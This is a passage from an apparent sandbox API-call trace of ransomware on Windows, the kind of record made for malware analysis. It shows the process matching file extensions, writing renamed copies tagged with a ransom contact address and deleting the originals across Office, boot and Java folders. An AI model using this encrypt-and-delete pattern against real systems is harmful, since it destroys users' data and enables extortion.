[0245.169] GetLastError () returned 0x0 [0245.169] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2baf, lpOverlapped=0x0) returned 1 [0245.171] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0245.171] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0245.171] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x116, lpOverlapped=0x0) returned 1 [0245.172] SetEndOfFile (hFile=0x3fc) returned 1 [0245.172] CloseHandle (hObject=0x3fc) returned 1 [0245.172] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.172] SetEndOfFile (hFile=0x4b8) returned 1 [0245.174] CloseHandle (hObject=0x4b8) returned 1 [0245.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1 [0245.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.175] lstrlenW (lpString=".doc") returned 4 [0245.175] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.175] lstrlenW (lpString=".docx") returned 5 [0245.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.175] lstrlenW (lpString=".pdf") returned 4 [0245.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.175] lstrlenW (lpString=".xls") returned 4 [0245.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.175] lstrlenW (lpString=".xlsx") returned 5 [0245.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.175] lstrlenW (lpString=".ppt") returned 4 [0245.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".zip") returned 4 [0245.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".rar") returned 4 [0245.176] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".bz2") returned 4 [0245.176] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".7z") returned 3 [0245.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".dbf") returned 4 [0245.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".1cd") returned 4 [0245.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".jpg") returned 4 [0245.176] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".doc") returned 4 [0245.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".docx") returned 5 [0245.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.176] lstrlenW (lpString=".pdf") returned 4 [0245.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".xls") returned 4 [0245.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".xlsx") returned 5 [0245.176] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.176] lstrlenW (lpString=".ppt") returned 4 [0245.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".zip") returned 4 [0245.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".rar") returned 4 [0245.176] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".bz2") returned 4 [0245.176] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString=".7z") returned 3 [0245.176] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".dbf") returned 4 [0245.176] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".1cd") returned 4 [0245.176] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0245.176] lstrlenW (lpString=".jpg") returned 4 [0245.177] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.177] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.177] lstrlenW (lpString="O365HomePremR_SubTrial1-ppd.xrm-ms") returned 34 [0245.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.177] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=23135) returned 1 [0245.177] CloseHandle (hObject=0x4b8) returned 1 [0245.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220 [0245.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0245.178] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.178] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0245.179] GetLastError () returned 0x0 [0245.179] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0245.272] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5a60, lpOverlapped=0x0) returned 1 [0245.273] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0245.273] WriteFile (in: hFile=0x3fc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x118, lpOverlapped=0x0) returned 1 [0245.273] SetEndOfFile (hFile=0x3fc) returned 1 [0245.274] CloseHandle (hObject=0x3fc) returned 1 [0245.274] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.274] SetEndOfFile (hFile=0x4b8) returned 1 [0245.276] CloseHandle (hObject=0x4b8) returned 1 [0245.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1 [0245.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.978] lstrlenW (lpString=".doc") returned 4 [0245.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString=".docx") returned 5 [0245.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.978] lstrlenW (lpString=".pdf") returned 4 [0245.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString=".xls") returned 4 [0245.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString=".xlsx") returned 5 [0245.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.978] lstrlenW (lpString=".ppt") returned 4 [0245.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.978] lstrlenW (lpString=".zip") returned 4 [0245.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString=".rar") returned 4 [0245.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString=".bz2") returned 4 [0245.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.978] lstrlenW (lpString=".7z") returned 3 [0245.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".dbf") returned 4 [0245.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".1cd") returned 4 [0245.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".jpg") returned 4 [0245.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".doc") returned 4 [0245.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".docx") returned 5 [0245.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.979] lstrlenW (lpString=".pdf") returned 4 [0245.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".xls") returned 4 [0245.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".xlsx") returned 5 [0245.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.979] lstrlenW (lpString=".ppt") returned 4 [0245.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".zip") returned 4 [0245.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".rar") returned 4 [0245.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".bz2") returned 4 [0245.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".7z") returned 3 [0245.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".dbf") returned 4 [0245.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".1cd") returned 4 [0245.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0245.979] lstrlenW (lpString=".jpg") returned 4 [0245.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.979] lstrlenW (lpString=".id-") returned 4 [0245.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558aa8 | out: hHeap=0x4f0000) returned 1 [0245.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x580688 | out: hHeap=0x4f0000) returned 1 [0245.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5a4940 | out: hHeap=0x4f0000) returned 1 [0245.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5b4948 | out: hHeap=0x4f0000) returned 1 [0245.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3720020 | out: hHeap=0x4f0000) returned 1 [0245.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558a30 | out: hHeap=0x4f0000) returned 1 [0245.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9f28 [0245.985] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9f28, Size=0x20) returned 0x40eb418 [0245.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9ef8 [0245.985] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9ef8, Size=0x20) returned 0x40eb4b8 [0245.985] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.985] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.985] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x1) returned 1 [0245.985] lstrlenW (lpString="kernel32.dll") returned 12 [0245.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb4b8 | out: hHeap=0x4f0000) returned 1 [0245.985] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb418 | out: hHeap=0x4f0000) returned 1 Thread: id = 319 os_tid = 0xd38 [0224.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5c5230 [0224.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38c0048 [0224.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558a48 [0224.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5806c8 [0224.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558ac0 [0224.111] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x39c3020 [0224.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558ad8 [0224.113] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558ad8, Size=0x20) returned 0x52f090 [0224.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558af0 [0224.113] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558af0, Size=0x20) returned 0x52f108 [0224.113] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.113] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.113] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x0) returned 1 [0224.113] lstrlenW (lpString="kernel32.dll") returned 12 [0224.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.113] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.114] Sleep (dwMilliseconds=0x64) [0224.305] Sleep (dwMilliseconds=0x64) [0224.519] Sleep (dwMilliseconds=0x64) [0224.826] lstrcmpiW (lpString1=".LOG2", lpString2=".HCK") returned 1 [0224.826] lstrlenW (lpString="BCD.LOG2") returned 8 [0224.826] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.315] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=0) returned 1 [0225.315] CloseHandle (hObject=0x43c) returned 1 [0225.315] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.315] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.315] lstrlenW (lpString=".doc") returned 4 [0225.315] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0225.315] lstrlenW (lpString=".docx") returned 5 [0225.315] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0225.315] lstrlenW (lpString=".pdf") returned 4 [0225.315] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0225.315] lstrlenW (lpString=".xls") returned 4 [0225.315] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0225.368] lstrlenW (lpString=".xlsx") returned 5 [0225.368] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0225.368] lstrlenW (lpString=".ppt") returned 4 [0225.368] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0225.368] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.368] lstrlenW (lpString=".zip") returned 4 [0225.368] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0225.368] lstrlenW (lpString=".rar") returned 4 [0225.368] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0225.368] lstrlenW (lpString=".bz2") returned 4 [0225.369] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".7z") returned 3 [0225.369] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".dbf") returned 4 [0225.369] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".1cd") returned 4 [0225.369] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".jpg") returned 4 [0225.369] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".doc") returned 4 [0225.369] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".docx") returned 5 [0225.369] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0225.369] lstrlenW (lpString=".pdf") returned 4 [0225.369] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".xls") returned 4 [0225.369] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".xlsx") returned 5 [0225.369] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0225.369] lstrlenW (lpString=".ppt") returned 4 [0225.369] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".zip") returned 4 [0225.369] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".rar") returned 4 [0225.369] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".bz2") returned 4 [0225.369] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString=".7z") returned 3 [0225.369] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".dbf") returned 4 [0225.369] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".1cd") returned 4 [0225.369] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0225.369] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0225.369] lstrlenW (lpString=".jpg") returned 4 [0225.369] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0225.369] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0225.369] lstrlenW (lpString="policytool.exe") returned 14 [0225.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.370] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=16448) returned 1 [0225.370] CloseHandle (hObject=0x43c) returned 1 [0225.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0225.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString=".doc") returned 4 [0225.371] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.371] lstrlenW (lpString=".docx") returned 5 [0225.371] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0225.371] lstrlenW (lpString=".pdf") returned 4 [0225.371] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.371] lstrlenW (lpString=".xls") returned 4 [0225.371] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.371] lstrlenW (lpString=".xlsx") returned 5 [0225.371] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0225.371] lstrlenW (lpString=".ppt") returned 4 [0225.371] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0225.371] lstrlenW (lpString=".zip") returned 4 [0225.371] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.371] lstrlenW (lpString=".rar") returned 4 [0225.371] lstrcmpiW (lpString1=".rar", 